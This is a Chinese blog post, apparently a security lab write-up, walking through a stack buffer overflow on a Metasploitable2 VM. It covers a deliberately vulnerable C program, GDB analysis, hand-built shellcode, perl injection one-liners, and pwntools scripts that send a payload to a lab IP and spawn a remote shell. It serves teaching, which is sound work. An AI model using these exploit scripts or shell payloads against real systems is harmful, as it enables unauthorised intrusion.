首页
文章分类
逆向网安
中英演讲
杂类教程
学习笔记
前端开发
汇编
数据库
.NET
服务器
Python
Java
PHP
Git
算法
安卓开发
生活记录
读书笔记
作品发布
人体健康
网上邻居
留言板
欣赏小姐姐
关于我
Search
登录
1
利用AList搭建家庭个人影音库
4,655 阅读
2
浅尝Restful Fast Request插件,一句话完成 逆向过程
3,944 阅读
3
完美破解The Economist付费墙
2,714 阅读
4
i茅台app接口自动化csharp wpf实现,挂机windows服务器每日自动预约
2,608 阅读
5
青龙面板基本使用并添加修改微信/支付宝步数脚本
2,030 阅读
Search
标签搜索
PHP
Laravel
前端
csharp
安卓逆向
JavaScript
Python
Java
爬虫
抓包
Git
winform
android
Fiddler
Vue
selenium
LeetCode
每日一题
简单题
docker
Hygge
累计撰写
95
篇文章
累计收到
445
条评论
首页
栏目
逆向网安
中英演讲
杂类教程
学习笔记
前端开发
汇编
数据库
.NET
服务器
Python
Java
PHP
Git
算法
安卓开发
生活记录
读书笔记
作品发布
人体健康
页面
网上邻居
留言板
欣赏小姐姐
关于我
用户登录
搜索到
1
篇与
的结果
2023-10-14
使用GDB调试本地栈溢出漏洞获得Root权限
攻防目标基于网络安全攻防实验环境,在Metasploitable2-Linux编译有漏洞的C语言程序,使用GDB进行动态调试,理解栈溢出本地漏洞的原理。使用pwntools构造远程漏洞,并使用kali进行攻击,理解远程漏洞原理。靶机和攻击机环境靶机系统 :Linux metasploitable 2.6.24-16-server攻击机: Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 GNU/Linuxtask1: 在Metasploitable2-Linux编辑编译有漏洞的C语言源程序1.1 使用终端工具连接Linux,编辑overflow.c源程序#include <stdio.h> #include <string.h> int f() { char buf[32]; system("echo input"); return read(0,buf,100); } int main(int argc, char *argv[]){ f(); system("echo helloworld"); return 0; }函数f中故意制造栈溢出漏洞1.2 使用GCC编译源程序并执行a) #echo 0 > /proc/sys/kernel/randomize_va_space 禁止地址随机化功能b) #ulimit -c unlimited 让系统在错误时产生core文件c) #gcc -Wall -g -fno-stack-protector -o overflow overflow.c -m32 -Wl,-zexecstack 编译源程序d) # ./overflow 执行程序分别输入32个a,35个a,36个a,37个aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaatask2: 使用gdb反汇编调试有漏洞的C语言源程序gdb ./overflow core查看coredump文件,查看寄存器使用gdb反汇编overflow程序gdb ./overflow 打开程序(gdb) set disassembly-flavor intel //设置反汇编格式为intel(gdb) disassemble main //反汇编main函数(gdb) disassemble f //反汇编f()函数使用gdb跟踪调试程序(gdb) start //启动程序查看寄存器和内存step执行一行源代码进入f()函数内部next执行一行源代码不进入system("echo input")函数next执行一行源代码不进入return read(0,buf,100)函数输入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccnext执行一行源代码,查看寄存器和内存,2.1 任务二分析首先在main函数执行中查看寄存器:此时main函数对应的栈顶指针和基址指针如下:寄存器值esp0xbffff880ebp0xbffff888eip0x80483e4单步进入f()函数内部,再次查看寄存器变化汇编中调用call指令,会将当前的ebp值入栈,将esp赋值给ebp(原先的栈顶变成栈底),然后将eip入栈寄存器值esp0xbffff840ebp0xbffff878eip0x80483aa继续next执行当读入一个长度大于32位的字符串, buf变量无法读取,此时查看内存区域使用命令:(gdb)x/32x 0xbffff84061为a的ascii码,当读完所有的a后,读b和c对应的ascii码分别为62和63此时存储b和c的内存单元分别为 函数的堆栈帧的基地址 和 当前函数执行完毕的返回地址图上可以发现这两处内存单元已经被篡改,继续单步执行,查看寄存器task3:构造shellcode攻击本地漏洞3.1 编辑汇编语言shell.asm输出字符串HACKBITS 32 start: xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx mov bl,1 add esp,string - start mov ecx,esp mov dl,5 mov al,4 int 0x80 mov al,1 mov bl,1 dec bl int 0x80 string: db "HACK",0xa3.2 下载编译安装汇编语言工具(配置、编译、安装)https://launchpadlibrarian.net/18093887/nasm_0.99.06.orig.tar.gz 3.3 #nasm -o shell shell.asm汇编源程序3.4 #ndisasm shell反汇编获得机器码3.5、构造shellcode提交给漏洞程序执行perl -e 'printf "a"x32 . "b"x4 . "c"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflow利用栈溢出 更改程序f函数的返回地址 输出 "Hack" 的效果6、#gdb ./overflow core 查看之前记录的f()函数对应的寄存器和内存此时0x63636363就是f()函数的返回地址只需要把这里的内容改为要跳转的恶意程序地址即可7、构造shellcode提交给漏洞程序执行perl -e 'printf "a"x32 . "b"x4 . "\xa0\xf8\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflowtask4:使用pwntools攻击远程漏洞1、在kali远程攻击Metasploitable2-Linuxa)在Metasploitable2-Linux监听123端口并绑定溢出程序root@metasploitable:~# nc -l -v -p 123 -e ./overflowb)在kali使用nc连接Metasploitable2 -Linux的123端口并发送shellcode(root㉿kali)-[~] nc 192.168.91.202 1232、在kali安装使用pwntools攻击Metasploitable2-Linuxa)#wget https://bootstrap.pypa.io/get-pip.py b)#python3 get-pip.pyc)#pip3 install pwntoolsd)在kali编辑exploit攻击脚本exp.pyfrom pwn import * p = remote('192.168.91.202','123') stackaddr = 0xbffff8a0 shellcode=b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a' payload = b'a' * 36 + p32(stackaddr) + shellcode p.send(payload) p.interactive()e)在Metasploitable2-Linux监听123端口并绑定溢出程序f)#python3 exp.py在kali执行exploit攻击脚本3、使用pwntools获得shella)在kali编辑exploit攻击脚本exp.pyfrom pwn import * p = remote('192.168.91.202','123') stackaddr = 0xbffff8a0 shellcode = asm(shellcraft.linux.sh(),arch='i386') payload = b'a' * 36 + p32(stackaddr) + shellcode p.send(payload) p.interactive()b)在Metasploitable2-Linux监听123端口并绑定溢出程序c)#python3 exp.py在kali执行exploit攻击脚本
2023年10月14日
230 阅读
0 评论
0 点赞